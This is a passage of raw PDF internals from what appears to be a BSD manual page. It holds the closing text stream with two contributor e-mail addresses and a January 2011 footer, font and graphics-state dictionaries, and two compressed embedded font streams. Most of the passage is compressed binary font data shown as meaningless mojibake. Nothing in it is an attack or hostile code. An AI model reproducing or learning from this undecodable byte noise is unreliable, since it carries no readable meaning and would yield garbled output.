3196[(joeb1@a1po)25(weruser)55(.com)]TJ
3197/TT14 1 Tf
319810.1431 0 TD
3199<009c>Tj
3200/TT6 1 Tf
32010.6545 0 TD
32020.0754 Tw
3203[(and w)10(as re)25(written by Frederic Perrin)]TJ
3204/TT14 1 Tf
3205-28.8211 -1.2 TD
32060 Tw
3207<009d>Tj
3208/TT6 1 Tf
32090.3291 0 TD
3210(frederic.perrin@resel.fr)Tj
3211/TT14 1 Tf
32129.4707 0 TD
3213<009c>Tj
3214/TT6 1 Tf
32150.3291 0 TD
3216(.)Tj
3217-13.1289 -43.8 TD
321817.775 Tw
3219[(BSD January)-250(15, )17775(2011)-19470(8)]TJ
3220ET
3221endstream
3222endobj
322335 0 obj
3224<<
3225/ProcSet [/PDF /Text ]
3226/Font <<
3227/TT2 4 0 R
3228/TT6 6 0 R
3229/TT11 9 0 R
3230/TT14 26 0 R
3231>>
3232/ExtGState <<
3233/GS1 10 0 R
3234>>
3235>>
3236endobj
323710 0 obj
3238<<
3239/Type /ExtGState
3240/SA false
3241/SM 0.02
3242/OP false
3243/op false
3244/OPM 1
3245/BG2 /Default
3246/UCR2 /Default
3247/HT /Default
3248/TR2 /Default
3249>>
3250endobj
325136 0 obj
3252<<
3253/Type /FontDescriptor
3254/Ascent 753
3255/CapHeight 562
3256/Descent -246
3257/Flags 262151
3258/FontBBox [-113 -250 749 801]
3259/FontName /JFOEBE+Courier-Bold
3260/ItalicAngle 0
3261/StemV 133
3262/XHeight 439
3263/StemH 84
3264/FontFile2 37 0 R
3265>>
3266endobj
326737 0 obj
3268<<
3269/Filter /FlateDecode
3270/Length 24055
3271/Length1 172192
3272>>
3273stream
3274HMlgJycҀI8vbqK^qvb'vlNY׮v:i!@А4HLoB;pav$8p@!|W> >돫 xl*yŻ] _AոO~ϼxz++AͪgoߺJ7}_{c~ڹ_W~wܹu_߫w'?wUkY߱;?h=~|їe^c]wyÇ F|{.8U{Ͽ?k౿Ž[|/+? c[?Ƃ+qoW7?GG/I3yM~hyw}W ugz|7557{$:Fc ~c`lvxʸq]si= wC7|c׌]noe~f?GA0R0???????????C!?C!iiaa0?a0?G#?G#YYYYYYYYYYYYY(?GQ(?xb<1O'xb<1Ϝ98O'y<q8O'̻yp p p p p p ?ɟO'I$?LRNRNRNR΢E9r,Y(gQ΢3r,Yt&œIt[Jo)[Jo)tr.mK/mK/mIҲ2/c2/c2/LFΒ%9Kr,Y$gIΒ%9KrdwA'˓dy<YwrA;y9伃wrA;y9 伃z-佃wA;Ȼ3ygr
3275r
3276v+حS)蠠s
3277+ׂ
3278z[۲ޖegY۲ޖe-V"gEΊVmEo+z[۪VjU?mUoz[۪VʳƳ5mMokz[ۚ5`MoEV[QoEV/E"_/K%_/Ke2_/e2_W+
3279_W+-------------*_WU*_oooooooooooook5_k5*............>>>}}}}}}}}}:_u:_7 o7 o7444444449s @΁3r9s @΁C9r9sC=Pχz>sK-=sK-=sK-=s[m=s[m=s[m=s[Gz>󑞏|########cccccccccccc~ܠwEw;w].wOOOOOOOOOOOOO{={=}>???????????????C!?C!?G#?GwyvIVU_(Yx <+ԕs
32802bV@$%)DE%^k^m׶?>ws_ %? 1c? q?8q? 'O? 'O?$I'O?
3281)SO?
3282)SO?4iO?43g? 3g?,Yg?,Y?9s?? y?<y /_ /O>E|)SħO">E|)SħO >%|J)S§O<%|J2>e|)SƧO2>e|SO
3283>P
3284>|*T
3285Ya?gU~V*Ye?g_ſ 5k_ÿ 5k_e_e_e_ǿ:u_ǿ: 7o 7o&yiI&yiI&yiE1-"O<-"O<-"O<mܦmܦmܦmܦmܦmܦܡܡܡܡܡb:鰶.uR.q]ru%W\]ԻKl|]ūKͻS=ríG=zU=푷G#ǯOOlKK٧.}ۧ.2 n@kkPuu8.8dC8$ϐ<C!k= = |OC܆ 7"׈}#FtDk#bG9b#|8c|cُ1k;&vߘoe̷2&cj36NX 2.cz'tL؏ b'yJ}|kS:gJ)yO?%~J)SOqg?,0n،87'XX'l(l ;HvÄ.aG
3286;JŽv/a'
3287;INvӄ. ag
3288;KFag ;Gعv ](l],a
3289L®Yؕ®vk]+:a "aKb’R2²r
3290ŠJ*ªj–Յ55uu MM(>(g~.~-Na {Xc? {B_=%aO {Vs^U߄C߅,_)5a
3291{]lq/gW$>!3o {Dؗ}nYavlWf󾺊5_gOw}s;z*vVE}oUY~R+~,c¾8ςZ˦;$ ¾/ߕy|TVaʚG
3292GZUn~gk*e+q{[<\^yQrQ ^x=X{_~{߃E{sT'~+Wnv;NYυ=(!a!oֈ%,&y#ȼ?
3293N'yO-HXia0]xS؟5" ¾&~(~$gA(lar RN
3294)=+lga ¶m/]-la;
3295o-;3;3]&h}O߁0k 8Pa ;X!v#%Xa ;^dމk'KHf|smv0Â׌/X3Pb6 Hإ.v+mvk]+5׌H –ńŅ%eɛ0(
3296+ + 
3297 [V66666vGrD䞉={f,*=CTz Q3DJ>"*=CTzMQr/EOIyvt[A5Ϯv<[^S^ωVsv6sx~>9Z4-lQEV^':Mv*6a C;%naW}/a
3298{H<"Qa {\ž=#Ya {^ ^W*5a {C؛m[%"wBDU"rD<y "oQŽv0yDyqm#gg(A(A(wC(A(A0BBIʽʽʽ lGaCrGUnv=IJ}J+l?ao(l0Bm&F(F(F(F(F(F(F(F(F(F(F(F(F(Fx0iBkCkCS*LzPz ag
3299;KFag ;Gع&}(={x0Ë],a
3300L®Yؕ®vk]+LF-n$,&,.,!,),%?yxTs3R&(Xr9whH UR] $ QDDFDEDD
3301!
3302Mh[b6bo9y?ff^`cn V
33036l<XX9`7Ml2J`U
3304v4`3fl6`s l.<`  `-l)`
3305X%T*i`fV v;ܻ^W`qf\, 0
3306̮A`+ )@>`O )-r\)0W
3307̕O` `Kf9S`z`NR3L*00IfRy fR '0uN 5&*
3308̸3dhZ[`o`
3309!X3G``
3310a`W 
3311`#`50a ̰fXs̵Zs\k -o
33125Xg l!?[r\lsk ~s``g
3313v4`3f mg6No-l=`[8v ؓ`k b{l=F0i,4MA SF#Ȋd2`^ ,e:`drU'|A.<}7>AGcG#zz==>A_Fo#m}4 M|?
3314ZTCM^?$d`oN
3315nireA{ (rl{0v˃^nppۭu=vۃ>v5n77v~n0v <;)IhR1-:W"ViQm#9jԎx]իsQU,RsMXnT{MjkHV}?qm1UgDYuzjүVUժPCgiϘ땱7?*1X+'gX"jIlMzGR 5.Ѩ
3316U{zE՛U
3317PKc
3318c5eNE&LeFed,E)"F"2LP~{%/cgw޳g9YMn2kD+nօZicO(@84*+(RգT c3Jj1mW@_s&$EjW/yQ}'%8<Y#Z1M̀*ʏZytJ~Z+W }iT'`#N5U7Ru~v5rD94qR_@B R-z`rvѝʑWRe٦rI+֬$?P[fk.[cQ(YGkc!Gqe&6Zs/I O351.
3319T4,,7G41:x!3cnaI tV< JP-tV^&oǻoû~Mle G&}->`
3320g|KA@kAO2
3321 @/{&犖M > $߲LJF
3322`1l`W)u:͠i #N`O+d=-ls!9|ҟu]h\alJa"$x`tb-l5h6q,}
3323-<F\(9ܐ:da11|$A&mO@<3IǍC:x &{]1#G d<}lc]\ C KXlr1sKz}5x.uFn;?v~*NcjwnF)lWT?jp#.ꝯu3 i.p0 fh:P /"q57>}KZuk]uZ~je˜>d+ N۝ ڶ+SP\~hS7]<& IP.hڍω@;z1ryQP3~n֜掴ZD_-5hg븧Ԭ=Vhg^jҨP?#߬K?-WwzULV+ތn&F\U}L3me g:Ju_z2oFe"W8u3s&w&-dNm琕١\y7|w+%ߚFI[篡OZ*ߒÇo` E5 +Uob0c[gz' ^$Fi4Bh;cc>DI 0&7Oސ?kh菁Tv`p [*SHD;Ņз!`hrN5oUk,qm] 5sg.rg\]3øzubô\ٖ~Jegi\q~S*!uw.o
3324x`,0竌&$;tNs^o8.e>Tksi
3325`Xb]yFPsQQ78IGP&RZtRh"J6RD[tm mfl1x Sz0G!ѢFy"]=i%J fKsfkeIjMD$j|VDwx}H"6B1
3326v0}JwFħ~{w<{:<_\vy>Fըxkzk?"Dmt]1T_LU {s}7r}#)d D AH@Q"5`<H n0՛_Sݯ_lmxfƍAmfһF-J=M1
3327+_<cһFgCzw\[zA/%^߄{8}^UjY.c!To+[aľm)Ho)9e`qnXg^X',ļO<Ɵ1>d؟Y9ΰOlrv&r>α?3~fƯ<mfR>_RJ(EwK2~_7_J] MdRl??03Hˮ3Σ0p#cb##2, <ć1Ixrg2cJ{So"cZ_c,OtS.%䩀QgtJJe1f)]B[9%17`2F͌U<UmfVyWVujؾoRPXuy}ބ7 ݐ7
3328ی7y-ja[ɹ5ov;(QΝCv{Xe{y7f{-50>RԽṙ|niDHcT63 򌳙q|HSj"'L+ԀiΘrLa#̐Y62#v<B/B.0q(+6v֏7
3329~pX #vUad\m)Q9kcq.3 Hk#'&D1XXXؔ؞؉؋؏88888h}sQ"iPM!!%ƚ1*gV:PƨXVFVVrשqSœ`RuD+$SLL!ӈfn&KVk)*>O2Uy4tkls,OG2Ǚu#!馘
3330&ަ8on!AYI"fb.1XXZ2Sy,1.*wt/t_KK_ bUR(ɪtwT{Gaz,A:MIezT_Obj+=+/6}.>!2f+Y_yH6PE!P]˯J//MT
3331\}š6#6' $"&!5UG
3332esZ\R--U:J'+z*I<ړlGGڻM\R`Hv.Įnf.qHB
3333KcYrUj+7ݬ..ĹuS^iRjևb
3334Vװ:XO 6Ӽ7vnqT; zPJ=֠w s/~(IwAuXݳ8VG9QnI})OuNi8gȂKkpn\jċpl} ;em韌B݃@ᑮ;VL3T,.nݱ-D!ۥcO.^5\/"-w'TQb10C0K`cIHN(hJ1r *3J}tef9( Tr)Ra:V
3335ebuAX ӫQ<CQkKr\j79g!>&75[5؂E+)Z:u>;n#Ka{i2E']h`w}]ק=V=Vd[ǽ ŵ ;hЃ,J1İ~b0PB  :~S( GGr=s4XCx1:~K 6NI8TFK{>~kG6N:L%vis9bWcB/6Op>bEB-{NqjK\A\Iʐ+)
3336܈p3V܆qݸ>'x;gNBG]?!~0VGW]0cB''}O)=MqFK3g ΋Yd.l/:bWeq5yC';o-nr|۠pޕɎ{}_?0臲8ll_6Sp8]8]989 r,Yӏ(?g1
3337vYE
3338"*FM~/~I/1 PiXf}"w{Λwv=p
33395{MO-Pg#g|n
3340WV;/~/=SߡTK{~{Ԯ^]UR
3341}a=߉3\PjfW+0=1E()=GVa-G}T"݊!p0|qtFCRɴ.wSyy|&\]_WzfruxOPtZgaRfa4F]R>NgF8q C\a>{+8FVA6F[E0u'J1Q ם' YKal غ sl0Qo#Uk!IBpwq3lM$NjH̘da៊|cu0 _SQ܋$QbDS2*NC竴UYmZ2 B䤕aO?݃nr2ɨ0
3342R{>:eaBq<lrkTRMX[I4mRmeQ'a4J+UhS1 KO-Ű<p0W辂4N.EL;RyW=G
3343WjjxKG𫜿ǙꪜSgaO mI|`j^Q4mȔUk$F6䬒y>c'6#|8|ZC#|Wq 0lN.uc, #,gF=5r{OYpw"1ZewzE*v t/Uk!I # lgؚHDՐd ꪒ)V#||W$ Ir
3344J(kLLp {\`
3345y,b +d9oJy5?lO);^_O\Ϲi<x7swuy
3346x/gHݸgHBʤD*JwSFNX~C؋b*筼_vV۲J=.]e7!{/ʞ]{V {h9\2X8so rH&A2Xp(x9ANqpe9ANX#e2阆8\L4䬔eWapb8|bOR"~kNv_1~/?9B\3ot.r78 y7!lq$=ٝ3%)R*R-{btA/010>9%\㬑wd<{BvY#Xy+<VK?,'a2-GJ `>!!X9FnZ G9}r a2cedd1>xY¥rgOSx
3347ޕI2E:?u~B߿ݽܭ#@]9yV7k<33%2j?89s|Il%t_
3348TU|>޷\Hewf/KtZ<3NwMbf5鱍~x uDkίoj[, H`
3349I9#ϩv'"M
3350̧Dccv6`~:Έ<\93jg卞y^MsFύ<yΏ<vA #Ϯ]ڦ泴3͵9ys#ϫ)6ȳ+lk "Ϯ] 6_#4׮ȉ\yNMr"hwAd?
3351Dr۔]Q ͸MDon0Fa"wh?eEy{}Ko ,ZtC8b1 D1 A$&zq齃"EE6o {~fy}҂F#4Gf36ac+8ǻ 'U'mOɎwSxw:\}Fwf.>KE.ﳅs~|p^Pu~ZxH8$h{);i"AՕqH+Z_'\x_ 7U7:W$I9"9tm:\}g\8={#wocg{?
3352EEńŅ%%R$aaYa9a0EX_@PHXDQcDž¦f'O
3353[
3354[ [ 
3355 v*aй"S&yt1<
3356y)V aW
3357|zȋW%p@Hu^:*zr֙<yE?Wâz* bq]%hXRaMɒ> pUy#JyJaXV>+țRΛj'[aXI z=UyUuitTC٬+mҕNֵ穎;[W_z:fdk_:!w:{Ȼ#:n;AL M:?yK5_pZ/^ OO|͖VuW|`~jd{ϿSzOzߋgdl~
3358M΁~eoNNL͸: cmlnxNֵ
3359}} : t=::W ԇBO7 ߜw87(~kQPcD(Vdhtqӡm= =}_] 2(Z[}Q@QObs
3360Q_aY+[+Z+z3d堪k!;kZo[02k~{Ce_k%Zw \s- J?_J;kfPM
33615\7 }p5B͠&TDSD3Dsrg \s- jAkAvd?gς!~UQ:T;#~xċ"^B2W@# 5}:vGI3f8݀kٚIȝ\s6Н[妙N7Z!kΘ;;<jmnq<wx%<GkON x\wUn sR}>T0*Uר$#y8VZV]Uء*>7 J V㰹B5P KP]MSe61>\ʨrJV)jژkU[sjgn07,'D>yW1*VUW5T#XuWo7T5@ TǍiq8a3S%q`0usqӸ3шDDmD'D Cm0jbe\OQͿea Ll*LԌyKpZH i멋EUF ZZr+(auםqO˝mk/3X_m0Sddo@'MԌ۽\?Ww~FO<
3362Wj\kpMŵze*kqU!)5S1t7>
3363(- 3Cww7X(!(2o=߷ήs{+K*դH )$TjK ROKi(4LK i)pHhi+1+tI:K*ݤI)Oޓ2@ ,Cd 2BF(-cd2A&JAJP5TBA͠|"e̔Y2[\'e,EXRY&˵ԾJVn/ (elm.-{dvr@!9,GrBNj>-g䬜%,W\rC>|!_--w|%_7ܓ|('띿oX~?<g\R#% H
3364b>V63]9Ll30
3365ħXXX؀؄x$ [ ۱; {q
3366qgqqq qWq q&>pwp_k|oqx?g_w'xgx?/+H$S1|o150-1=30#3130+1;s0's170/1? f!YEYY%YY,˱<+"+]VfVe5Vgk&k1YazlFl&lfllVl6 g#he cَفىم]ٍ^>~|999C99#99c999ߜ~ȏ8S9N ,<."..2.
3367\\õ\x&0[۹;{yyyGyy'yygyyyyWP’0Ib]:=Zi]c~բ%J}DEY\vLjԞDpeõW[im P殤Z~yz6H3iJ7r6$5Ʈڼu-T.Qo`X߰F:ﵤk:fچ)QUl!1)-YV1(V4XUV,'\6]S)cel)6˔.D=[D
3368[l
3369[&ˁ!%Nq-\fϩ쮺bVf̚Q Y̓ٲdgK1U_`HIc-T4*S^F5(WJ҈ʸ(GL+?W>/g4Ge*xff{|#jV}"D$9MJjռ&S.~Y^2z6~#e;T{i6֪Zy^(Soʫ<okS_h2+}iT>ly1mo~W27}%* t ffxf\I>ev2D=_v=H[*/HGy.OٜS}28ao~ܞsLhQ9^܎^['?pC)o=T~:6GSyda?CE&Bem+xn_Gl7fbKݡ?}>h$(G$X> O2wOolJyMF.:ƵnUZ[{jUUj+ͳppWGYB6ͱ3k6vb}K3l6n^4WqS ?;;О<l ' z&Z6dqkc GmiHa !CMb{:h?~)}e_OO0]7ZtL`ޢNY=ĸPFm"e3#5yZj\a:zOK0ln56*siw}mݶڲhԢAy$BPS ϶ QK/&>R&4h"hbw~0>wһ;gι3gfL?GWj5uj2whD,IԌ{7Ʒڢ;ͣY׬Ih eG¡}sRYoԞnCp#yT\QQ=xx sU7Glދ,u-:
3370gL
3371T{ ~H-y<}U(}}6e`l Yڒ2.;8OnK)MOYgɐ:TzD:o7d$(?+sٛ :>˨t<h[]y3(W~C\ۗz{9Cb`HȢ6+j33axQ*QAp+
3372"ٝy9"cst6<xn޷Z[I t6{h
3373*<BM֌?@#*I 3D&TdzM/)aC YZ1{{^!3#f0Ϙg0asu|9prνrj>Z 3"&`?0'tN>83p(</q!y~rW@*^juh]ѷѷ{`7q~ 6}6xlvp?aA>ć0x|o|O)i>g <cx&2 _ouMN;ͿCso^b$E|TI Y J0j%$!pK:8C2 Β,pdg,p#J.8OJ\ R."pg n)|+sZ*h-2|m5.2\%UjeVjuRzp4p4 P"-Vi%ˋdǸWp28oT1qiP,4;2M=D>Hڀ4Fv<컌XW$1o&Ƅj,@tL N^jĨ\4ՙXaI]m} G*ZZ*W,.7MMfw„$$! IHB%Q/*\r(.iEf?R>Tk<v` >ձbi[6 s*ZAK Nh m}%Gt'8x]Yd)&ji1W(fotי[=ͿP.gϙ'O3/hcGu]۫M0
3374endstream
3375endobj
337638 0 obj
3377<<
3378/Type /FontDescriptor
3379/Ascent 750
3380/CapHeight 676
3381/Descent -250
3382/Flags 262178
3383/FontBBox [-168 -218 1000 935]
3384/FontName /Times-Bold
3385/ItalicAngle 0
3386/StemV 133
3387/XHeight 461
3388/StemH 139
3389>>
3390endobj
339139 0 obj
3392<<
3393/Type /FontDescriptor
3394/Ascent 753
3395/CapHeight 562
3396/Descent -246
3397/Flags 262179
3398/FontBBox [-113 -250 749 801]
3399/FontName /JFOEBL+Courier-Bold
3400/ItalicAngle 0
3401/StemV 133
3402/XHeight 439
3403/StemH 84
3404/FontFile2 40 0 R
3405>>
3406endobj
340740 0 obj
3408<<
3409/Filter /FlateDecode
3410/Length 28717
3411/Length1 178732
3412>>
3413stream
3414HMhivG]\|ٙvڦIyi/iiڴIIbwvfQFXtYz񠰈{Ad{؃D=x g=>LXϕ '~6"޻•_o5o\_#?ts# F޺ܽY
3415/}n9>/8|_|V# F^P]޾y׿~^ W{>o_~t-ӟwW~o 7ΛOtR|O=+޻~O}౿?? F~|yqy_xGh0򪥞|ŻٯT7S
3416{]X\b>lf4ή^/r_տ^s3Jmv׌k?125QyOhT/k{gzۘDzfј{swcFן0z7Fw}uCy<2qw81V
3417&'''''''''''C!?C!???%l?a0??G#?GQ(?GQiiiiiiiiiiiii?c1?y<q8O'y<q8O'I$x< O'II$y<I$O'ɓI$y<I$Ogggggggggggg}θϔLϔLϔLϔLϔLϔLggggggggggggi4?͟Oigrrrr2r2r2r2r2r2r2r2r2dddddy<Yd[VoYe[VoY]g/gr/gr/~r''+g9o~sߜ7g9oΙ99r˙3/g^μy9r˙ۼwA;{y<O'ϓyA;(xtP
3418A;(xwP-x w,x Ypf9E9EV)uPAѹsEkQoE-mQoz[ۢ3,mQoz[ۢ`IoKz[$gIoKz[ےޖ%-mYov[۲ޖWke-mYoz[YYۊVmEo+z[ۊVtJz+魤Jz+K%Ŀʿʿʿʿʿʿʿʿʿʿʿʿƿƿƿƿƿƿƿƿƿƿƿƿ_/e2_/e
3419_W+
3420_WU*_WU*_k5_7777777777777u:_u:οſſſſſſſſſſſo`o7 o7;;;;BwwwwwwwwwwwwwwwwwwwwwwM&o7M&o[-gZrZrZrZrZrZrZrZrٓ'gϙ=9{rٓ'gOξ}9r}=y_zn빭綞zn빭綞zn빭綞zn빣玞;z蹣玞;z蹣玞;z蹣箞z깫箞].wq{=>}>?1111111111111 )))))))))))))?C!?GwyvIVU_(Yx <dBWuu#
34212bV@$%)DE%^k^m׶?>ws8q?8q? 'O? 'O?$I'O?
3422)SO?
3423)S_E_E_EO?4iO?43g? 3g %_ %_ %_ ,Yg?,Yg⿌2/㿌2/㿌2/B9s9s?<y?<y'O>|
3424)SO>|
3425)SħO">E|)S$O">,cO >%|J)S§O >%|)SƧO?TƧO2>e~
3426Ya?+g~V
3427Ya?+W_ſ*UW_ſ*Uk_ÿ 5k_ÿ:u_ǿ:u7o 7o&MbiI&yiI&yiIyZĴ"O<-"O<-"O<ms:s:s:s:s:s:ws:ws:ws:ws:ws:w鐧ںԭKu%W\]ruqR.]uYc.5O]r#GlW=#Gy{o'g>u>}ҧ.}ҧ.}'gYo ˀuZu@]e:e〺 X5Y<C q4o4{= q7$nD܈\#m^QFq~7"u㘺q ;f?ƬuL1~c1ʘc͘L;a'8N˄L؏ P j3a?&N)M)y?%~J)SO?%ޞ { a3jNlnNNza;Pav"Pa ;\Žv#Xa ;^ Nv"Ta ;]vvs'|aP&a X%.v˅]!l+]%jaVu®v-’Re-
3428[VVVVVVVV666666v _
3429;'aa {T, ag=-Ya {A^Waa ׄ*uao̳J_μHDž}Bg$/ <[g9!~!Uun+[b;}uk6/fOw}s;z*vVE}oUY~R+~,c¾8ςZ˦;$ ¾/ߕy|TVaʚG
3430G*l7a
3431O^^Uͳ5{a+q{[<I{!&a=ٛ¬6?[avۅ!wvϪ=le~.%Aa {@yF䬌X/ew05GQEw
3432={2@ o@O ›$y~a5a_Ca?#9Ba _&wRNa^a; [&ge gemm'l{ana;Q|kܙܙ0G#}b ֯f,o@aI$`a;TaŽvc'x9Oy'f,=K =KpښkgH̙Qع¤ _3`B$"a
3433L®Yؕ®v֌_3Ab KK
3434K
3435[&o  ($,"*&.!)%-#+'/l l(l,l"l*F9䞉={&"'YTz Q3DgJ'*}DTz Q離r/E^,ޫ
3436M&Naw [=v0y {@؃0y{Tc'=%ia{Vsž,a
3437{M-w[(laVȝ;!"o9"rD<ț&r#L>yD^gJoJoJoJon+LPPp{aCr/r/r/;Qܑ.v݅!lOa__r_
3438OƄ&}Y(}Yx &=M(}m(}m(}wxSIJ!Lag (la;Wy¤g/&=px]"Ra \6 RU®vk|YUa_Ά LnY #(DF
3439R¨Wn20(q&""6""!& DE+
3440ׂ]v= `76lp XƁ
3441GV=Iu`O=,w
34425Xاڀ},3`y``mN,X;`} 0;N}M] l
3443TJi`U`f6N0xv ^+{:@U
3444d^)+@ @ oA9BW
3445J^)zl\"@z
3446d)N*I:lN*I%0N ɫ`r@^kyM 5*? W
3447t\+$i`o;߃;w>0Y^(;W>`IO@0 {A7 {@7 {t
3448e.`W}ltX@5a tXs5Z@5k Zs؍`76l XƁ
3449aT`?'/A֒G ׻ 2^2 ;:usr
345077of/SvޛٛzٟCщvɛ;5{ +\ջgȝep?I~].\
3451ԡJ(3KV^/PM55Ԫj3ZUjh;Ms*[%kdw
3452K@-ITϴ|Aj'UbW,~&=@EgZ9k+0LjP:Y^5\j*Om5dj:{ )PBoI_bRjiB!Z
3453{ ,qŬŴm.f=Os+v[ٞ2MiS$Ean^͗F1e+$χ 
3454R
3455g2?{1(X D?\
3456wyk5` `]'WqѶ]qÝz]/oʸ 2xN11oLL=MGCm4>/hM?@kKYs*[iv_Z.jb5h4:z35;r.m0tK})9 K=ͺ~>[=Ŀ;Ol*>;fbaUd 0i0P`ps3_h琡x3z.rѬ&o5=v(5yl1vml95Bw_r!g!qoǿ?qT-;|x湠xQAa\Ӱu&f3%ˡwCPy+E>`$a|DS/D9V03ϐ sorC kNH_?d\x}KRno{+Th^վr5b^3w"K̟Ϻzv7^]A,+O";ݸ $,Ҹ9oi]%78EM*GRܞX{)V%JOu\l ueڹ.ׂ[Uz;.2Twڧ~4b9=e>|89DWxmG$fs牘1yCxrYԳ~7r%L=|nr\q_91[ߵr{ )[2>/^ *c{<d3Wg2Cw9tnV0|,v)֮<ʨ̹B(()-*:Hi4VS h5j)OtC++
34574 <(1b6f-`bʗE=(gE8{J"6:D˒0uI՚<HGڏ><E&m6cKZrl 49MPJIMREE7#d~eM#r"b[(曐?uS~x@u>\GGX_@'<f~R_C]Id]>t
34589@>
3459^]r{rܸ$)xo_ĩq*yr<C=iC3{n9
3460{(aq?+GqH$~i1JI_B}ťcz/#e)c$. Y彖`mYx>S sqJ|WvQI꽆VS@U!&ħ־Jh{V`ewWLaz61 y.N|ZZLu1q؃_Lճ {,s7 }}!g8$AMP@D<`PD&&AD߼ ߫{]]V!z_<g~v> ڀ͌≮)w[zc[b~V[ydH
3461i#a>c)Y9?GyM/ qO[l+2*}?y?ae|#7-E
3462#,E%G:BG0睰Yyy=`ާg D2Ut>}֟Sۙ_y ׶|xmM5dRCt e[F7̌?0
3463F1b##2FY#H02&ɹ̘RkX>/1V`J9[Ξ TĨd_sJe1f*UBrJ cnV<yX󖀭,}kߨT-KQרg40͌nd4hb!cb#Z)1&Fh-e@Jus'f],e*nFw =, yֽ<}lfg3bXd)96Cap{L#F͇`qlg͌Cz'xR1H=) frXlMwƜczH gβqvs,EDsy|nc
3464R{8Ŗ~%2.
3465Y?߼W?7Kx+,E #*KQyxXk >DILLgVgde6cgvbbc`beN`Na:(Ftp͌aaeƚ1*gE+S(cTL,Q:*]{:U2Ny*P<8 &^%*]X&rL9f23,L3cw3(YlKLQyS+]ҔbYmRm3eᘊ&f8on)ΎJYdf19\f
3466]d+*cf])G^t_KK_ J)Tpβ-&QX7K5Y[MIT[TGXyau MHa6WzdY Py`#w1/^BM^V(5#llllżٚن֌Wy/-T*quKPR16ׯbzUzd;yڳlGڻM\R?IXv.̮nfNqHl
3467aU{?
34680?ןOH?<_h.cT9acLǙT{J_D6cdNdN2=*2MTT)JpSӘә33H!)]VrKP,P][_!\c;7F󢏢`~ c` q@lC_q$2VBp8#t>-:]CI
3469
3470-/
3471.! ] kB'˅RqUm0#  :/Q]\1X ޅˍZׅZ~օnߍ:“܃5Rx˃g؆ǃ'wލ֋kŽ:zv^Ebx<MZq<yx :c{c̃7hg.4Ѓ2UڀM:֥^1>Ϥ]X/@cH?1U|45cXXC&d1u*c&I XLq‡{$ku p_$#lk{0oa9XlE?{-k[q.Xlc6<<Gѓf ?\t ֪Z/{6m7̢"}
34723YU%;Imё>
3473#X5d6b6ǥMDiªwm1.SM4g՚نَٖٞفّF6mn=Hߡ'GwV}Hw1"c)&"cJnUbaȘDj s,sscI)-WyW6eё>
3474#+X=\\sK6m7
3475 ueEL6.G17072gnbnQMD%o+߇w(ɱSm1Ŕn]NtTL?_Q[?g%R!H!B :H. ҤIU, H/ҤR E@N7٘ osl6粁?̆jGq.u/^F2f6V;g<b*o̍i}&lvn]ba}WQvA;.YĒYЮ}/p=%ݱ(}-z>vD_l~l}F1lN9W*oѷbsg6S;fS$6N
3476iYaq?ՔO.j絳ebq4JVh7묖vWbsqv_mkw-
3477PDXsE0{ ĕ
3478"\g#}qs5f]Hg2Djl1rsQPLwHjf?ӻ ,`B]ދtc1~X҇U?tly+rVRw|T*ckvnPrX[h"Էs [;يmK
3479E ^:AgQ+t4>׬FѓS丿
3480L;{cP'OsJv_(uZ/a ` 2a lyl3ܙɉ`Sn8z
3481s?Awo)(w'6G:ǝg')~SBgrBpHKpR*A&܂Ҟ72=
3482ܱZ_{ʎڬ٬;u'OCxd౩Ҕ;vLLkB ]Hcn3CK+Ǟ΋^S햻*?c A!0 c NH(Jhnb.1匳Sq ΒR4E)$U1aye*cUFX_0P<GQk*r\n79#XX_|N}#SlF|teNhÎ[
34836a{ZJ;b'kf_)ݹժժ*W븧{\MWZqI6bJ1bR$PÅzC;đ\M1VO1bRo 5Ɖ8 '(3wi~2(Nu<SҳÎHzP8S,j1.!.XRI/l?jEg+fUkW_RuuNq^ 7f܂[i ܉H}_ڳLOXw?emڬ9uG{<?G puT ǟMuB N
3484 xi<gyy._Ed˜W(RWU.j/:.8oqV) w$}Wߓ}?U{I?T!Ǐ$j79~l7W&b3,8u\.n9pzpzrǙӟ
3485j1ํڵ xQy
3486{I
34875}BZFk#f|n
3488WU;/ \D'i]SJ_W ) 3\PjfW+0ĭʢhtJ# >o{7cuF8y>h\T=v2¥z*6#/VՄE}wYοQ|{G\]FX}?AsaIVKFewUHUgF8q 9z; "ҥ~eaEuDVE^X;M̥
34893bfԫ # b)֊C # fؖHD͐e13Y0¯|cy0 BnUV(BJ")ErmQbUڪõ-axw"X99iek>}w#Dqmd)½pol2 j8B6K9*&P$6C0*pm ƂeȧbX8/0px K'NFzUObڪp~o^Y9WzUaA<'% _ h3gFZ#A5e.Y5V1?j]`DcUPWeݏ7֌Z5rG+Dt|#\U$F^ȳ[`^.38KR00ƦZ+IPo/ha`7öD"
3490W3u|os xL汈%,c9&C\َCvݼ!?9?F<'w.iJ~)j!ཛྷ%"1v) )*i߱;N9 9؇Oc㭼_;k Y#KbJٓtu6H9k=I҇(9L2WXΡΑyz G@}WP.#y ˉr.˭|^&Ar
3491O:$SpN /L͛HU_tFי[|p-ù8_泘,㬔'vb{#%܁3> p.ܙ򇸄pw_:k5y!lq$}؍JRʥT*Z!LC8_3fR\f_>9Y'oZY{LX#]Yy o;k{L<ZRéyHqGpp4vV g+'0!8Nh.ceL='7=N۸LNrlr*O[2YBg9W#_aJM]۽ݬ--6>t3D,5_o6,yfff KdԠ_89sT]g^f6^̻t_
3492TU|ާ\He?wdo=
3493;ܽxfH=qLbfsk6}u#6=M:_e/m:_uHǿ e2@*
3494E8rKYfbvڜs#)6ȣ+l{ "] V`~9<\[re15ծYZfw#{~`m?̯,u9+k?fEus¾, ,I,Eg #c "A@
3495JGu5Z}0iA|=s>ĿentT7i+nW8-=zߑMݙ
3496Yݝg~xW{_>8m<G8#٣{?=T9ۄ'*S~6rN{Oy]*KA{
3497ׯUj)\TpFP[ATI{Ol:9l:nZ.He2@f<ḅ :43[Gf8,{p$޲=&Ñܺ{˲<2jc;ȯ;؝K`tQȱ]XݵIty1fqDtx'JҺ;).O`AKWMt|HݵIy;h0MdF11<X,,,,,,,,Όg`dbf&00eI
3498̊J*̪j̚Zǘuu 3`>|llll| 9%5 Yf[$ K2UnG@E*υ@U@G1*ḥF ᨁyU^ gW%3y{(_ɯ,cRAy,F+@^Uj!XLָUVƫڧ.J OTкvD&ѧpy#JTy\@4Sy3\@"hFPEYIUYYU@UUjfuUio]{;juezLج*ڬ*ש};ʻXλғ*;{POޜOU7ܱ@*3*k|h|lU;O-U>v>Z F gpl"+&:  
3499moONNJN:lbnr~tt+1>
3500:->2c*>݂B~GC/ACCOA@/bQ 5XEb qZEov_>8 ~j`x VP1 Q7Oyq\oG[߂Oo(>]}
